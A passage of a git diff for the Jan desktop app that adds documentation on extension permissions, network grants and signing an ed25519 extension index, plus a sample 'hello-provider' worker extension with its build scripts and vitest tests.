Send requests to this host and read the replies (`ctx.http.fetch`), and serve a contributed provider whose `baseUrl` is on it. |+| `providers` | Add model providers | Medium | Add model providers that appear in the model picker. Each provider also needs `network:` for its `baseUrl` host. |+| `tools` | Add tools for models | High | Add tools that models can call during a chat. Each call still asks for your approval. |+| `conversations:read` | Read your conversations | High | Read your threads and the messages in them, and be told when messages are created or threads deleted. |+| `conversations:write` | Change your conversations | High | Create threads and add user or assistant messages to them. |+| `chat:hooks` | Change messages before they are sent | High | Rewrite the text of your messages before they reach the model. Part of a [proposed API](/docs/desktop/extensions/api#stable-and-proposed-apis); not available to installed extensions. |++A call without the needed grant fails with the error code `E_PERMISSION`.++## Network permissions++`network:<host>` names one host, without scheme, port or path:++| Grant | Matches |+|---|---|+| `network:api.example.com` | exactly `api.example.com` |+| `network:*.example.com` | any subdomain, such as `api.example.com` or `a.b.example.com`, but **not** `example.com` itself |+| `network:localhost`, `network:127.0.0.1` | that local host, on any port |+| `network:*` | any host (shown as high risk), **including the hosts on your own computer**: `localhost` and `127.0.0.1` on any port (http or https), and other local addresses such as `[::1]` on any port over https |++Host names are lowercase. Rules that apply to every request:++- **https only**, except `localhost` and `127.0.0.1`, which may also use plain+ http.+- URLs with a user name or password are refused.+- Ports are not checked: a grant for a host covers every port on it.+- **Jan's own Local API Server is always blocked.** Its port on `localhost` and+ `127.0.0.1` is refused whatever the grant, because it serves requests with+ your provider keys. The consent dialog notes this next to `network:*` and a+ local grant, and says that every other local port is reachable. `[::1]` and+ other loopback addresses are reachable only over https, which Jan's server+ does not speak.+- Redirects are not followed automatically. Jan checks every hop against the+ grants (at most 5 redirects) and drops non-safelisted headers once a redirect+ leaves the original origin.+- No cookies are sent or stored, and the extension cannot set `Host`,+ `Content-Length`, `Connection` or other transport headers.+- Grants are re-checked on every request, so a revoke applies to the next one.++<Callout type="info">+The host name is checked, not the address it resolves to. Requests use the+proxy configured in your environment (`HTTP_PROXY`, `HTTPS_PROXY`, `ALL_PROXY`,+honouring `NO_PROXY`) or your system proxy, including requests to local hosts.+</Callout>++## Tools and providers++- Tools contributed by an extension are grouped under `ext:<extension id>` in+ the tool toggles and approval prompts, so an extension cannot pose as an MCP+ server you already trust. The model sees them under a hashed name of the+ form `x_<hash>__<tool name>`.+- A contributed provider is listed as `<extension id>/<provider id>`. Jan runs+ inference against the provider's `baseUrl` itself, on the extension's network+ path, so revoking the `network:` grant for that host stops it.++## Development folders++A folder loaded with **Load unpacked** (development builds only) is granted+everything its manifest requests after you confirm the list, until Jan+restarts. It has no network path: `ctx.http.fetch` fails and its providers+cannot be chatted with. See [Build an Extension](/docs/desktop/extensions/develop).diff --git a/docs/src/pages/docs/desktop/extensions/publishing.mdx b/docs/src/pages/docs/desktop/extensions/publishing.mdxnew file mode 100644index 000000000..4e3f3fed8--- /dev/null+++ b/docs/src/pages/docs/desktop/extensions/publishing.mdx@@ -0,0 +1,228 @@+---+title: Publishing an Index+description: Host a signed catalog of Jan extensions that users can add as a source.+keywords:+ [+ Jan,+ extensions,+ extension index,+ ed25519,+ signing,+ catalog,+ ]+---+import { Callout, Steps } from 'nextra/components'++# Publishing an Index++Jan has no central extension hub and no built-in index URL. Extensions are+distributed through **indexes**: JSON files that anyone can host on any https+server (a GitHub Pages site, a CDN, your own domain). Users add the index URL as+a source in **Settings > Extensions > Catalog**, optionally with your public key.++You can also hand out a `.tgz` directly; users install it with **Install from+file...**, and it is labelled **Unverified**.++## Index format (schema 1)++```json+{+ "schema": 1,+ "generatedAt": "2026-10-24T08:00:00Z",+ "expires": "2026-11-24T08:00:00Z",+ "extensions": [+ {+ "id": "acme.hello",+ "displayName": "Hello",+ "publisher": "Acme",+ "description": "Says hello.",+ "homepage": "https://example.com/hello",+ "versions": [+ {+ "version": "0.1.0",+ "tarball": "https://example.com/hello/acme-hello-0.1.0.tgz",+ "integrity": "sha512-<base64 of the tarball's SHA-512>",+ "apiVersion": "^1.0.0",+ "engines": { "jan": ">=0.8.0" },+ "permissions": ["ui:notify"],+ "provenance": "https://example.com/hello/0.1.0.intoto.jsonl"+ }+ ]+ }+ ]+}+```++Unknown fields are errors at every level.++### Top level++| Field | Type | Rules |+|---|---|---|+| `schema` | number | Required, `1`. |+| `generatedAt` | string | Required. When the index was generated. For a signed index it must be RFC 3339; Jan refuses a signed index older than one it already accepted from the same source, or dated more than 24 hours in the future. |+| `expires` | string | Optional, RFC 3339. Jan refuses a signed index after this time. Ignored for unsigned sources. |+| `nextPublicKey` | string | Optional. The base64 ed25519 key you will sign with next (see [Key rotation](#key-rotation)). |+| `extensions` | array | Required. Ids must be unique. |++### Extension++| Field | Type | Rules |+|---|---|---|+| `id` | string | Required. The manifest `jan.id`. |+| `displayName` | string | Required. |+| `publisher` | string | Required. |+| `description` | string | Optional. |+| `homepage` | string | Optional, https. |+| `versions` | array | Required. Versions must be unique semver. The catalog offers the highest. |++### Version++| Field | Type | Rules |+|---|---|---|+| `version` | string | Required. Equal to the tarball's `package.json` `version`. |+| `tarball` | string | Required, https URL of the `.tgz`. |+| `integrity` | string | Required. A `sha512-<base64>` subresource-integrity string of the tarball (the form `npm` prints). |+| `apiVersion` | string | Required. The manifest's `jan.apiVersion` (a caret range). |+| `engines` | object | Optional. `{ "jan": "<range>" }`, the manifest's `engines`. |+| `permissions` | string[] | Required. **Exactly** the manifest's `jan.permissions` (order does not matter). |+| `provenance` | string | Optional, https. A link to a provenance attestation you checked. Jan shows it as "Provenance reported by source" and does not verify it. |++When a user installs from your index, Jan downloads the tarball, checks it+against `integrity`, and refuses it if the package's id, version or+permissions differ from the listing. That keeps the consent the user gives+equal to what the catalog showed.++Compute `integrity` with:++```bash+echo "sha512-$(openssl dgst -sha512 -binary acme-hello-0.1.0.tgz | base64 -w0)"+```++### Fetch rules++| What | Rule |+|---|---|+| Index URL | https, no credentials in the URL, at most 2 MiB, 15 s timeout, **no redirects** (a 3xx fails) |+| Signature | `<index URL>.sig`, at most 1 KiB, same client, no redirects |+| Tarball | https, at most 50 MiB, 5 min timeout; up to 5 redirects, each to https and a DNS host name (not an IP address or `localhost`) |++No cookies are sent. Requests honour the user's proxy settings.++## Signing++Signing lets users pin your key, so a compromised host or a man in the middle+cannot change the listing. A source added with a key **must** serve a valid+signature; otherwise its catalog and installs are refused.++The format:++- **Key:** ed25519. The public key you publish is the standard base64 (with+ padding) of the raw 32-byte key.+- **Signature file:** at the index URL with `.sig` appended to the path (query+ kept): `https://example.com/index.json` is signed by+ `https://example.com/index.json.sig`.+- **Contents:** standard base64 (with padding) of the 64-byte ed25519 signature+ over the **exact bytes** of the index file as served. Surrounding whitespace,+ such as a trailing newline, is fine.++Any change to the index bytes after signing (reformatting, a CDN rewriting line+endings) breaks the signature, so sign the file you upload.++### With OpenSSL++```bash+# Once: create the key pair and print the public key to give to users.+openssl genpkey -algorithm ed25519 -out signing-key.pem+openssl pkey -in signing-key.pem -pubout -outform DER | tail -c 32 | base64++# Every release: sign the exact index bytes.+openssl pkeyutl -sign -inkey signing-key.pem -rawin -in index.json | base64 -w0 > index.json.sig+```++`-rawin` needs OpenSSL 3.0 or newer. On macOS, use `base64 -b0` or plain+`base64` instead of `base64 -w0`.++### With Node.js++```js+// sign-index.mjs: node sign-index.mjs index.json+import { createPrivateKey, createPublicKey, generateKeyPairSync, sign } from 'node:crypto'+import { existsSync, readFileSync, writeFileSync } from 'node:fs'++if (!existsSync('signing-key.pem')) {+ const { privateKey } = generateKeyPairSync('ed25519')+ writeFileSync('signing-key.pem', privateKey.export({ type: 'pkcs8', format: 'pem' }), { mode: 0o600 })+}+const key = createPrivateKey(readFileSync('signing-key.pem'))+const publicKey = createPublicKey(key).export({ type: 'spki', format: 'der' }).subarray(-32)+console.log('public key:', publicKey.toString('base64'))++const file = process.argv[2]+writeFileSync(`${file}.sig`, sign(null, readFileSync(file), key).toString('base64') + '\n')+```++Keep `signing-key.pem` secret and out of the published site.++### Freshness++For signed sources Jan records the newest `generatedAt` it accepted and+refuses an older index, so an attacker cannot serve an old, validly signed+index with a vulnerable version. Set `generatedAt` to the current time on every+publish, never backwards and never ahead: a signed index dated more than 24 hours+after the user's clock is refused, so a wrong date cannot lock the source out of+later indexes. Use `expires` to bound how long a captured index stays+valid, and re-sign before it passes; an expired index is refused until you+publish a fresh one.++### Key rotation++<Steps>+### Announce the next key+Add `"nextPublicKey": "<new base64 key>"` to the index and sign it with the+**current** key.++### Users confirm+Jan shows **Review new key** on your source. When the user accepts, Jan+re-fetches the index, checks it is still signed by the current key and still+names that key, and pins the new key.++### Switch+Once your users have moved over, sign with the new key. Indexes signed with the+old key are then refused by users who accepted the rotation.+</Steps>++There is no other way to change a pinned key: a user who did not accept the+rotation must remove the source and add it again with the new key.++## How users add your source++Publish your index URL and your base64 public key on a page users trust, and+tell them to:++1. Open **Settings > Extensions > Catalog**.+2. Enter the **Index URL**, a **Name**, and the **Public key**.+3. Click **Add source**.++Your extensions then show as **Verified by <name>**. Without a key they show as+**Integrity checked (unsigned source)** and each install needs explicit trust.++## API versioning and deprecation++Extensions declare the API they need with `jan.apiVersion` (a caret range,+such as `^1.0.0`), and the index repeats it per version.++- The extension API follows semver. Minor releases only add; an extension+ built for `^1.0.0` keeps working on every 1.x Jan.+- A deprecated API item stays for at least one minor release and 90 days, and is+ removed only in a major release.+- Proposed APIs are outside this policy and are not available to installed+ extensions.+- Use `engines.jan` for a minimum Jan app version when you rely on behaviour+ added in a specific release.++<Callout type="info">+The catalog offers the highest version listed for each extension and does not+fall back to an older one on an older Jan. Raise `apiVersion` or `engines.jan`+only when you have to.+</Callout>diff --git a/docs/src/pages/docs/desktop/troubleshooting.mdx b/docs/src/pages/docs/desktop/troubleshooting.mdxindex f8e65a1a4..f54fd8cde 100644--- a/docs/src/pages/docs/desktop/troubleshooting.mdx+++ b/docs/src/pages/docs/desktop/troubleshooting.mdx@@ -386,29 +386,6 @@ invalid or unauthorized.See the [Custom Endpoints](/docs/desktop/remote-models/custom-endpoint#troubleshooting) guide for details.-## Permission Denied--When running Jan, you might encounter the following error message:--```-Uncaught (in promise) Error: Error invoking remote method 'installExtension':-Error Package /Applications/Jan.app/Contents/Resources/app.asar.unpacked/pre-install/janhq-assistant-extension-1.0.0.tgz does not contain a valid manifest:-Error EACCES: permission denied, mkdtemp '/Users/username/.npm/_cacache/tmp/ueCMn4'-```--Permission problems mainly cause this error during installation. To resolve this issue, follow these steps:--1. Open your **Terminal**--2. Execute the following command to change ownership of the `~/.npm` directory to the current user:--```bash-sudo chown -R $(whoami) ~/.npm-```--This command ensures that the necessary permissions are granted for Jan's installation.--## "Failed to fetch" or "Something's Amiss" errorsWhen you start a chat with a model and encounter a **Failed to Fetch** or **Something's Amiss** error, here are some possible solutions to resolve it:diff --git a/extensions-samples/hello-provider/LICENSE b/extensions-samples/hello-provider/LICENSEnew file mode 100644index 000000000..e5969ccdd--- /dev/null+++ b/extensions-samples/hello-provider/LICENSE@@ -0,0 +1,19 @@+Jan++Copyright 2026 Menlo Research++This product includes software developed by Menlo Research (https://menlo.ai).++Licensed under the Apache License, Version 2.0 (the "License");+You may not use this file except in compliance with the License.+You may obtain a copy of the License at++ http://www.apache.org/licenses/LICENSE-2.0++Unless required by applicable law or agreed to in writing, software+distributed under the License is distributed on an "AS IS" BASIS,+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.+See the License for the specific language governing permissions and+limitations under the License.++Attribution is requested in user-facing documentation and materials, where appropriate.\ No newline at end of filediff --git a/extensions-samples/hello-provider/README.md b/extensions-samples/hello-provider/README.mdnew file mode 100644index 000000000..8ad1931d0--- /dev/null+++ b/extensions-samples/hello-provider/README.md@@ -0,0 +1,117 @@+# Hello Provider (sample Jan extension)++A minimal third-party extension that uses every contribution point a worker+extension has. Start from it when writing your own.++Licensed under Apache-2.0.++| Contribution | What it does |+|---|---|+| command `hello.greet` | Shows a toast (`ui.notify`) with the `greeting` setting and bumps the status item |+| command `hello.ping` | `ctx.http.fetch` of `http://127.0.0.1:11999/v1/models`, or of the URL passed as its argument (anything outside the grants fails with `E_PERMISSION`) |+| setting `greeting` | Text input, default `Hello`; the status item follows changes |+| status item `hello.status` | `<greeting> (<count>)`; clicking runs `hello.greet` |+| tool `echo_upper` | Returns `text` upper-cased; with `delayMs` it waits first and stops at once when the call is cancelled |+| provider `hello-local` | OpenAI-compatible at `http://127.0.0.1:11999/v1`, declaring `capabilities: ["completion", "tools"]` so chat offers tools; `listModels` reports `hello-1` |++Permissions: `ui:notify`, `tools`, `providers` and `network:127.0.0.1` (a+provider needs network access to its `baseUrl` host).++## How it runs++Jan runs each third-party extension in its own Web Worker. The host builds+one script from its runtime prelude followed by this bundle, so the bundle+has to be:++- a single file, `format: 'iife'` with `name: 'JanExtension'` (see+ `rolldown.config.mjs`), exporting `activate(ctx)` and optionally+ `deactivate()`;+- free of runtime imports. Import only types from `@janhq/extension-api`;+ everything else goes through `ctx`.++The host enforces the shape before it starts a worker: parsed on its own as+a classic script, the file must be exactly one top-level+`var JanExtension = <expression>;` statement, optionally preceded by a+`'use strict'` directive and with comments anywhere. No other top-level+`function`, `class`, `var`, `let` or `const`, and no other statement, is+allowed, because top-level declarations of the shared worker script are+bound before the runtime prelude runs. Keep everything inside the IIFE: a+rolldown or esbuild `banner`/`footer`/`intro` that adds top-level code makes+the bundle fail to load ("is not a valid extension bundle").++The bundle runs in a realm the prelude has locked down with+[SES](https://github.com/endojs/endo/tree/master/packages/ses)+(`lockdown({ errorTaming: 'safe', evalTaming: 'no-eval', consoleTaming:+'unsafe' })`): every built-in (`Object.prototype`, `Array.prototype`,+`Promise`, `JSON`, ...) is frozen, `eval` and `new Function` throw, and the+`ctx` passed to `activate` is frozen too. A dependency that patches a+built-in prototype at load time (some polyfills do) makes activation fail;+leave such polyfills out, the worker already has a current engine. Stack+traces of errors are hidden from extension code (`error.stack` is empty);+`ctx.log.error(error)` still logs the message. `harden` is available as a+global if you want to freeze your own objects.++Once the worker is running, the host pings it every 5 s and stops it after+3 unanswered pings in a row. The prelude answers each ping from the+worker's event loop, so **no synchronous task may run for more than about+15 s**: a busy loop, a large synchronous parse or a long `Atomics.wait`+between two turns of the event loop gets the worker terminated at 15-20 s+and marked crashed. Split long work into chunks (`await` between them, or+`setTimeout(next, 0)`). Pongs are exempt from the host's message rate+limit, so sending many messages does not by itself stop the heartbeat.+A worker stopped this way is restarted from the registry; 3 crashes within+10 minutes keep it off until Jan restarts. If the app itself dies within+60 s of loading the installed extensions twice in a row (and was not+closed cleanly), Jan turns on safe mode on the next start.++Before the bundle runs, the prelude removes `fetch`, `XMLHttpRequest`,+`WebSocket`, `importScripts`, `Notification`, IndexedDB, `navigator.storage`,+`navigator.serviceWorker`, the Tauri globals and similar from the worker. `ctx.http.fetch` is the only way to reach the network, and the+host checks every call (and every redirect) against the granted+`network:<host>` permissions.++Network requests of an installed extension run in Rust+(tauri-plugin-extensions `http_fetch`): the grants are re-read from+`extensions.json` on every request, no cookie jar is attached, Jan's local+API server port is refused, and no redirect is followed there; the host+follows them itself and checks each hop. The host runs inference for+`hello-local` against its `baseUrl` itself, on the same path, with the SSE+body streamed back from Rust; nothing streams through the worker.++A folder loaded unpacked has no entry in `extensions.json`, so it has no+network path: its `ctx.http.fetch` fails with `E_NOT_FOUND` and its+provider cannot be chatted with. Install the packed bundle (`yarn pack`,+then Settings > Extensions > Install from file) to try those.++## Build++From the repository root (yarn v4):++```bash+yarn install+yarn build:extension-api && yarn build:extension-runtime+yarn workspace @janhq/sample-hello-provider build # type-check + dist/index.js+yarn vitest run --project @janhq/sample-hello-provider+```++`yarn build:samples` builds every sample. The tests rebuild `dist/index.js`+themselves (`vitest.global-setup.mjs`).++## Load it unpacked (development builds)++Once the dev loader (P2-4) is in: in a development build of Jan+(`yarn dev:tauri`), open Settings > Extensions, choose **Load unpacked** and+pick this folder (the one holding `package.json`). Jan validates the `jan`+manifest, lists the permissions it requests, and starts `dist/index.js` in a+worker. A dev-loaded extension is labelled "Development" and is not kept+across restarts.++## Tests++- `src/__tests__/index.test.ts`: `activate` against an in-memory context.+- `src/__tests__/manifest.test.ts`: the manifest passes the host's validator.+- `src/__tests__/bundle.test.ts`: the built bundle meets the bundle contract+ and boots behind the real prelude in the worker sandbox.+- `web-app/src/lib/extensions/__tests__/sample.integration.test.ts`: the+ built bundle through the app's real `ExtensionHost` (dispatcher,+ contribution store, settings store, tools, providers, network checks).diff --git a/extensions-samples/hello-provider/package.json b/extensions-samples/hello-provider/package.jsonnew file mode 100644index 000000000..c1ae34c1d--- /dev/null+++ b/extensions-samples/hello-provider/package.json@@ -0,0 +1,120 @@+{+ "name": "@janhq/sample-hello-provider",+ "version": "0.1.0",+ "private": true,+ "description": "Sample Jan extension: a command, a setting, a status item, a tool and a model provider, run in a worker",+ "license": "Apache-2.0",+ "author": "Jan <[email protected]>",+ "type": "module",+ "main": "dist/index.js",+ "engines": {+ "jan": ">=0.8.0"+ },+ "jan": {+ "id": "jan-samples.hello-provider",+ "displayName": "Hello Provider",+ "description": "Shows every contribution point a worker extension can use.",+ "publisher": "Jan",+ "apiVersion": "^1.0.0",+ "main": "dist/index.js",+ "permissions": [+ "ui:notify",+ "tools",+ "providers",+ "network:127.0.0.1"+ ],+ "contributes": {+ "settings": [+ {+ "key": "greeting",+ "title": "Greeting",+ "description": "What Say hello greets with.",+ "control": {+ "type": "input",+ "placeholder": "Hello",+ "default": "Hello"+ }+ }+ ],+ "commands": [+ {+ "id": "hello.greet",+ "title": "Say hello",+ "category": "Hello Provider"+ },+ {+ "id": "hello.ping",+ "title": "Ping the local server",+ "category": "Hello Provider"+ }+ ],+ "menus": {+ "commandPalette": [+ {+ "command": "hello.greet"+ },+ {+ "command": "hello.ping"+ }+ ]+ },+ "statusItems": [+ {+ "id": "hello.status",+ "text": "Hello (0)",+ "tooltip": "Greetings so far; click to say hello",+ "command": "hello.greet"+ }+ ],+ "tools": [+ {+ "name": "echo_upper",+ "description": "Returns the given text in upper case. delayMs simulates slow work that can be cancelled.",+ "inputSchema": {+ "type": "object",+ "properties": {+ "text": {+ "type": "string",+ "description": "The text to upper-case"+ },+ "delayMs": {+ "type": "integer",+ "minimum": 0,+ "maximum": 10000,+ "description": "Wait this long before answering"+ }+ },+ "required": [+ "text"+ ]+ }+ }+ ],+ "providers": [+ {+ "id": "hello-local",+ "displayName": "Hello Local",+ "baseUrl": "http://127.0.0.1:11999/v1",+ "capabilities": [+ "completion",+ "tools"+ ]+ }+ ]+ }+ },+ "scripts": {+ "build": "tsc -p tsconfig.json && node scripts/build.mjs",+ "typecheck": "tsc -p tsconfig.json",+ "test": "vitest run"+ },+ "devDependencies": {+ "@janhq/extension-api": "workspace:*",+ "@janhq/extension-runtime": "workspace:*",+ "@types/node": "^22.10.0",+ "rolldown": "1.0.0-beta.1",+ "typescript": "5.9.2",+ "vitest": "3.2.4"+ },+ "packageManager": "[email protected]"+}diff --git a/extensions-samples/hello-provider/rolldown.config.mjs b/extensions-samples/hello-provider/rolldown.config.mjsnew file mode 100644index 000000000..327ac5dea--- /dev/null+++ b/extensions-samples/hello-provider/rolldown.config.mjs@@ -0,0 +1,14 @@+import { defineConfig } from 'rolldown'++// The bundle contract of a worker extension: one IIFE file that assigns the+// global `JanExtension` and imports nothing at runtime. The host appends it+// to the worker prelude and calls `__janBoot(JanExtension)`.+export default defineConfig({+ input: 'src/index.ts',+ platform: 'browser',+ output: {+ format: 'iife',+ name: 'JanExtension',+ file: 'dist/index.js',+ },+})diff --git a/extensions-samples/hello-provider/scripts/build.mjs b/extensions-samples/hello-provider/scripts/build.mjsnew file mode 100644index 000000000..d44a9ad92--- /dev/null+++ b/extensions-samples/hello-provider/scripts/build.mjs@@ -0,0 +1,34 @@+// Builds dist/index.js from rolldown.config.mjs. A module rather than only+// `rolldown -c` so test global setups (this package's and web-app's) can+// rebuild the bundle before the tests that run it.+import { mkdir, rename, writeFile } from 'node:fs/promises'+import { dirname, join } from 'node:path'+import { fileURLToPath } from 'node:url'+import { rolldown } from 'rolldown'+import config from '../rolldown.config.mjs'++const root = join(dirname(fileURLToPath(import.meta.url)), '..')++export const bundlePath = join(root, config.output.file)++export async function buildBundle() {+ const { output: outputOptions, ...input } = config+ const bundle = await rolldown({+ ...input,+ cwd: root,+ input: join(root, input.input),+ })+ const { output } = await bundle.generate(outputOptions)+ await bundle.close()+ const code = output[0].code+ await mkdir(dirname(bundlePath), { recursive: true })+ // Through a temporary name: two test projects may build it at once.+ const tmp = `${bundlePath}.${process.pid}.tmp`+ await writeFile(tmp, code)+ await rename(tmp, bundlePath)+ return code+}++if (process.argv[1] === fileURLToPath(import.meta.url)) {+ await buildBundle()+}diff --git a/extensions-samples/hello-provider/src/__tests__/bundle.test.ts b/extensions-samples/hello-provider/src/__tests__/bundle.test.tsnew file mode 100644index 000000000..1fcd38aab--- /dev/null+++ b/extensions-samples/hello-provider/src/__tests__/bundle.test.ts@@ -0,0 +1,81 @@+// The built dist/index.js (vitest.global-setup.mjs rebuilds it) against the+// bundle contract: one IIFE assigning `JanExtension`, nothing imported at+// runtime, and it boots behind the real prelude (SES lockdown included) in+// the worker sandbox.+import { readFileSync } from 'node:fs'+import { afterEach, describe, expect, it, vi } from 'vitest'+import { validateManifest, type ValidatedManifest } from '@janhq/extension-api'+import {+ Endpoint,+ assertBundleShape,+ composeWorkerSource,+ workerTransport,+ type ControlMessage,+} from '@janhq/extension-runtime'+import prelude from '@janhq/extension-runtime/prelude-source'+import { runInSandbox } from '@janhq/extension-runtime/testing'++const root = new URL('../../', import.meta.url)+const bundle = readFileSync(new URL('dist/index.js', root), 'utf8')+const validated = validateManifest(+ JSON.parse(readFileSync(new URL('package.json', root), 'utf8'))+)++function manifest(): ValidatedManifest {+ if (!validated.ok) throw new Error('invalid manifest')+ return validated.manifest+}++const hosts: Endpoint[] = []+afterEach(() => {+ for (const host of hosts.splice(0)) host.close()+})++describe('hello-provider bundle', () => {+ it('is a single IIFE with no runtime imports', () => {+ // The host refuses anything but one top-level `var JanExtension = ...`.+ expect(() => assertBundleShape(bundle)).not.toThrow()+ expect(bundle).toMatch(/^var JanExtension = \(function/m)+ expect(bundle).not.toMatch(/\bimport\s*[({"'*]|\brequire\s*\(|^export\b/m)+ })++ it('activates behind the real prelude without touching the network', async () => {+ const worker = runInSandbox(composeWorkerSource(prelude, bundle), {+ name: 'ext:jan-samples.hello-provider',+ })+ const controls: ControlMessage[] = []+ const methods: string[] = []+ let nextDisposable = 1+ const host = new Endpoint(workerTransport(worker), {+ onControl: (m) => controls.push(m),+ handle: async (method) => {+ methods.push(method)+ if (method.endsWith('.register') || method === 'events.subscribe')+ return { disposable: nextDisposable++ }+ if (method === 'settings.get') return 'Hello'+ return undefined+ },+ })+ hosts.push(host)+ host.sendControl({ v: 1, t: 'init', manifest: manifest() })+ await vi.waitFor(() =>+ expect(+ controls.find((m) => m.t === 'ready' || m.t === 'activateFailed')+ ).toEqual({ v: 1, t: 'ready' })+ )+ expect(methods.sort()).toEqual([+ 'commands.register',+ 'commands.register',+ 'events.subscribe',+ 'providers.register',+ 'settings.get',+ 'tools.register',+ 'ui.setStatusItem',+ ])+ expect(worker.leaks).toEqual([])+ // It ran in the realm the prelude locked down with SES.+ const realmObject = worker.scope.Object as ObjectConstructor+ expect(Object.isFrozen(realmObject.prototype)).toBe(true)+ expect(typeof worker.scope.harden).toBe('function')+ })+})diff --git a/extensions-samples/hello-provider/src/__tests__/index.test.ts b/extensions-samples/hello-provider/src/__tests__/index.test.tsnew file mode 100644index 000000000..3ee4d6d7f--- /dev/null+++ b/extensions-samples/hello-provider/src/__tests__/index.test.ts@@ -0,0 +1,228 @@+// activate() against an in-memory ExtensionContext: the extension's own+// logic, without a worker. The worker path is covered by bundle.test.ts+// here and by web-app's sample.integration.test.ts against the real host.+import { afterEach, describe, expect, it, vi } from 'vitest'+import {+ DisposableStore,+ Emitter,+ type CancellationToken,+ type CommandHandler,+ type ExtensionContext,+ type HttpRequestInit,+ type HttpResponse,+ type ProviderHandlers,+ type SettingValue,+ type ToolHandler,+} from '@janhq/extension-api'+import { activate, deactivate } from '../index.js'++const unused = () => {+ throw new Error('not used by the sample')+}++function fakeContext() {+ const settings = new Map<string, SettingValue>()+ const settingChanges = new Emitter<{ key: string; value: SettingValue }>()+ const commands = new Map<string, CommandHandler>()+ const tools = new Map<string, ToolHandler>()+ const providers = new Map<string, ProviderHandlers>()+ const status = new Map<string, { text?: string; tooltip?: string }>()+ const notify = vi.fn()+ const info = vi.fn()+ const fetch = vi.fn(+ async (url: string, init?: HttpRequestInit): Promise<HttpResponse> => {+ void url+ void init+ return { status: 200, headers: {}, body: '{"data":[]}' }+ }+ )+ const bind =+ <T>(map: Map<string, T>) =>+ (id: string, value: T) => {+ map.set(id, value)+ return { dispose: () => void map.delete(id) }+ }+ const ctx: ExtensionContext = {+ extension: {+ id: 'jan-samples.hello-provider',+ version: '0.1.0',+ displayName: 'Hello Provider',+ },+ subscriptions: new DisposableStore(),+ log: { debug: vi.fn(), info, warn: vi.fn(), error: vi.fn() },+ settings: {+ get: async <T extends SettingValue>(key: string) =>+ (settings.get(key) ?? (key === 'greeting' ? 'Hello' : undefined)) as+ | T+ | undefined,+ set: async (key, value) => {+ settings.set(key, value)+ settingChanges.fire({ key, value })+ },+ onDidChange: settingChanges.event,+ },+ storage: { get: unused, set: unused, delete: unused, keys: unused },+ commands: { registerCommand: bind(commands), execute: unused },+ ui: {+ notify,+ setStatusItem: (id, update) => void status.set(id, update),+ },+ conversations: {+ listThreads: unused,+ getThread: unused,+ listMessages: unused,+ createThread: unused,+ appendMessage: unused,+ onDidCreateMessage: unused,+ onDidDeleteThread: unused,+ },+ tools: { registerTool: bind(tools) },+ providers: { registerProvider: bind(providers) },+ http: { fetch },+ proposed: {},+ }+ return { ctx, commands, tools, providers, status, notify, info, fetch }+}++function token() {+ const cancelled = new Emitter<void>()+ let requested = false+ const t: CancellationToken = {+ get isCancellationRequested() {+ return requested+ },+ onCancellationRequested: cancelled.event,+ }+ return {+ token: t,+ cancel: () => {+ requested = true+ cancelled.fire()+ },+ }+}++const palette = { location: 'commandPalette' } as const++afterEach(() => {+ vi.useRealTimers()+})++describe('hello-provider activate', () => {+ it('registers every contribution it declares', async () => {+ const f = fakeContext()+ await activate(f.ctx)+ expect([...f.commands.keys()].sort()).toEqual(['hello.greet', 'hello.ping'])+ expect([...f.tools.keys()]).toEqual(['echo_upper'])+ expect([...f.providers.keys()]).toEqual(['hello-local'])+ expect(f.status.get('hello.status')).toEqual({ text: 'Hello (0)' })+ })++ it('greets with the configured greeting and counts in the status item', async () => {+ const f = fakeContext()+ await f.ctx.settings.set('greeting', 'Hi')+ await activate(f.ctx)+ const greet = f.commands.get('hello.greet')!+ expect(greet(palette)).toBe('Hi from Hello Provider!')+ await greet(palette)+ expect(f.notify).toHaveBeenLastCalledWith({+ level: 'info',+ message: 'Hi from Hello Provider!',+ })+ expect(f.status.get('hello.status')).toEqual({ text: 'Hi (2)' })+ })++ it('follows a greeting change in the status item', async () => {+ const f = fakeContext()+ await activate(f.ctx)+ await f.ctx.settings.set('greeting', 'Hola')+ expect(f.status.get('hello.status')).toEqual({ text: 'Hola (0)' })+ })++ it('stops following settings once its subscriptions are disposed', async () => {+ const f = fakeContext()+ await activate(f.ctx)+ f.ctx.subscriptions.dispose()+ await f.ctx.settings.set('greeting', 'Hola')+ expect(f.status.get('hello.status')).toEqual({ text: 'Hello (0)' })+ expect(f.commands.size).toBe(0)+ deactivate()+ })++ it('echo_upper upper-cases its input', async () => {+ const f = fakeContext()+ await activate(f.ctx)+ const echo = f.tools.get('echo_upper')!+ await expect(echo({ text: 'hello jan' }, token().token)).resolves.toEqual({+ content: [{ type: 'text', text: 'HELLO JAN' }],+ })+ })++ it('echo_upper reports bad input as a tool error', async () => {+ const f = fakeContext()+ await activate(f.ctx)+ const echo = f.tools.get('echo_upper')!+ for (const input of [+ undefined,+ {},+ { text: 1 },+ { text: 'a', delayMs: -1 },+ ])+ await expect(echo(input, token().token)).resolves.toMatchObject({+ isError: true,+ })+ })++ it('echo_upper waits for delayMs and stops when cancelled', async () => {+ vi.useFakeTimers()+ const f = fakeContext()+ await activate(f.ctx)+ const echo = f.tools.get('echo_upper')!++ const slow = echo({ text: 'late', delayMs: 1000 }, token().token)+ await vi.advanceTimersByTimeAsync(1000)+ await expect(slow).resolves.toEqual({+ content: [{ type: 'text', text: 'LATE' }],+ })++ const t = token()+ const pending = echo({ text: 'never', delayMs: 5000 }, t.token)+ t.cancel()+ await expect(pending).resolves.toEqual({+ content: [{ type: 'text', text: 'Cancelled' }],+ isError: true,+ })+ expect(vi.getTimerCount()).toBe(0)+ expect(f.info).toHaveBeenCalledWith('echo_upper cancelled')+ })++ it('echo_upper does no work for a call cancelled before it started', async () => {+ const f = fakeContext()+ await activate(f.ctx)+ const t = token()+ t.cancel()+ await expect(+ f.tools.get('echo_upper')!({ text: 'x' }, t.token)+ ).resolves.toMatchObject({ isError: true })+ })++ it('hello-local lists its one model', async () => {+ const f = fakeContext()+ await activate(f.ctx)+ await expect(+ f.providers.get('hello-local')!.listModels!()+ ).resolves.toEqual([{ id: 'hello-1', displayName: 'Hello 1' }])+ })++ it('hello.ping fetches the local server through ctx.http', async () => {+ const f = fakeContext()+ await activate(f.ctx)+ const ping = f.commands.get('hello.ping')!+ await expect(ping(palette)).resolves.toBe(200)+ await ping(palette, 'https://example.com/')+ expect(f.fetch.mock.calls.map(([url]) => url)).toEqual([+ 'http://127.0.0.1:11999/v1/models',+ 'https://example.com/',+ ])+ })+})diff --git a/extensions-samples/hello-provider/src/__tests__/manifest.test.ts 